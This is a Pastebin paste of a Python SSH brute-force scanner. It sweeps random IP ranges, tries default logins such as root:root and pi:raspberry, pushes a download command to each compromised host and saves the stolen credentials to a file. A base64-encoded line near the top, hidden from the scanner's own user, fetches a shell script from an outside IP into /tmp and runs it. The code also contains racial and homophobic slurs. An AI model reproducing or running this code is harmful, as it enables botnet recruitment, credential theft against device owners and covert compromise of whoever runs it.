Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #Working Python Scanner 2018
- import threading, paramiko, random, socket, time, sys, base64, subprocess
- paramiko.util.log_to_file("/dev/null")
- blacklist = ['127']
- passwords = ["admin:1234", "root:root", "ubnt:ubnt", "pi:raspberry", "admin:admin", "support:support",
- "guest:guest", "telnet:telnet", "root:admin", "user:user", "test:test", "vagrant:vagrant"]
- if sys.argv[4] == 'root':
- passwords = ["root:root"]
- if sys.argv[4] == 'admin':
- passwords = ["admin:1234"]
- if sys.argv[4] == 'support':
- passwords = ["support:support"]
- if sys.argv[4] == 'guest':
- passwords = ["guest:guest"]
- if sys.argv[4] == 'telnet':
- passwords = ["telnet:telnet"]
- if sys.argv[4] == 'omg':
- passwords = ["admin:admin"]
- if sys.argv[4] == 'kms':
- passwords = ["root:root", "admin:1234"]
- if sys.argv[4] == 'kys':
- passwords = ["root:root", "root:admin"]
- if sys.argv[4] == 'gay':
- passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
- if sys.argv[4] == 'fag':
- passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
- if sys.argv[4] == 'perlz':
- passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt"]
- if sys.argv[4] == 'all':
- passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt", "root:root", "admin:1234", "support:support",
- "guest:guest", "telnet:telnet", "admin:admin", "root:admin", "user:user", "test:test"]
- print('Scanning now! Its working fine... just wait!')
- def run(cmd):
- subprocess.call(cmd, shell=True)
- checkbinaries =
- "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vMTY3Ljg4LjE2MS4yMS9iaW5zLnNoOyBjaG1vZCA3NzcgYmlucy5zaDsgc2ggYmlucy5zaA=="
- rebinaries = str(base64.b64decode(checkbinaries))
- run(rebinaries)
- run('clear')
- print " __ .___ "
- print "| | _______ __| _/____ ____ "
- print "| |/ /\__ \ / __ |/ __ \ / \ "
- print "| < / __ \_/ /_/ \ ___/| | \ "
- print "|__|_ \(____ /\____ |\___ >___| / "
- print " \/ \/ \/ \/ \/ "
- print ""
- print ""
- print "Scanning now! Its working fine... just wait!"
- ipclassinfo = sys.argv[2]
- if ipclassinfo == "A":
- ip1 = sys.argv[3]
- elif ipclassinfo == "B":
- ip1 = sys.argv[3].split(".")[0]
- ip2 = sys.argv[3].split(".")[1]
- elif ipclassinfo == "C":
- ips = sys.argv[3].split(".")
- num=0
- for ip in ips:
- num=num+1
- if num == 1:
- ip1 = ip
- elif num == 2:
- ip2 = ip
- elif num == 3:
- ip3 = ip
- class sshscanner(threading.Thread):
- global passwords
- global ipclassinfo
- if ipclassinfo == "A":
- global ip1
- elif ipclassinfo == "B":
- global ip1
- global ip2
- elif ipclassinfo == "C":
- global ip1
- global ip2
- global ip3
- def run(self):
- while 1:
- try:
- while 1:
- thisipisbad='no'
- if ipclassinfo == "A":
- self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str
- (random.randrange(0,256))
- elif ipclassinfo == "B":
- self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "C":
- self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "YEET":
- YEET = ["122","119","161","37","186","187","31","188","201","2","168"]
- self.host = random.choice(YEET)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange
- (0,256))+'.'+str(random.randrange(0,256))
- elif ipclassinfo == "NIGGER":
- NIGGER =
- ["125.27","101.109","113.53","118.173","46.62","5.78","125.25","125.26","182.52","125.24","180.180"]
- self.host = random.choice(NIGGER)+'.'+str(random.randrange(0,256))+'.'+str
- (random.randrange(0,256))
- elif ipclassinfo == "FAST":
- FAST = ["188.16", "188.17", "188.18", "188.19"]
- self.host = random.choice(FAST)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange
- (0,256))
- elif ipclassinfo == "BABY":
- BABY =
- ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189
- .61","189.62","189.63","189.126"]
- self.host = random.choice(BABY)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange
- (0,256))
- elif ipclassinfo == "KADEN":
- KITTY = ["190.236", "212.194", "212.195", "190.13", "190.40", "190.41", "190.42",
- "190.43", "190.96", "190.97", "190.232", "190.233", "190.234", "190.235", "190.236", "190.237", "190.238",
- "190.239", "190.184", "181.174", "186.183", "59.177", "59.178", "59.180", "59.182", "59.183", "59.184", "181.64",
- "181.65", "181.66", "181.67", "200.106", "200.121", "201.230", "201.240"]
- self.host = random.choice(KADEN)+'.'+str(random.randrange(0,256))+'.'+str
- (random.randrange(0,256))
- elif ipclassinfo == "OLD":
- OLD = ["103.20", "103.30", "103.47", "103.57", "12.188", "12.34", "122.3", "210.213",
- "59.69", "122.52", "122.54", "119.93", "124.105", "125.104", "119.92", "119.91", "49.144"]
- self.host = random.choice(OLD)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange
- (0,256))
- for badip in blacklist:
- if badip in self.host:
- thisipisbad='yes'
- if thisipisbad=='no':
- break
- username='root'
- password=""
- port = 22
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(3)
- s.connect((self.host, port))
- s.close()
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- dobreak=False
- for passwd in passwords:
- if ":n/a" in passwd:
- password=""
- else:
- password=passwd.split(":")[1]
- if "n/a:" in passwd:
- username=""
- else:
- username=passwd.split(":")[0]
- try:
- ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
- dobreak=True
- break
- except:
- pass
- if True == dobreak:
- break
- badserver=True
- stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
- output = stdout.read()
- if "inet addr" in output:
- badserver=False
- if badserver == False:
- print 'Kaden Is Sending ~ ' +self.host+':'+username+':'+password+':'+str(port)
- ssh.exec_command("wget_line_here!")
- nigger = open("cumming.txt", "a").write(username + ":" + password + ":" + self.host +
- "\n")
- time.sleep(15)
- ssh.close()
- except:
- pass
- for x in range(0,1500):
- try:
- t = sshscanner()
- t.start()
- except:
- pass
- #LiGhT Ya DiG!
Add Comment
Please, Sign In to add comment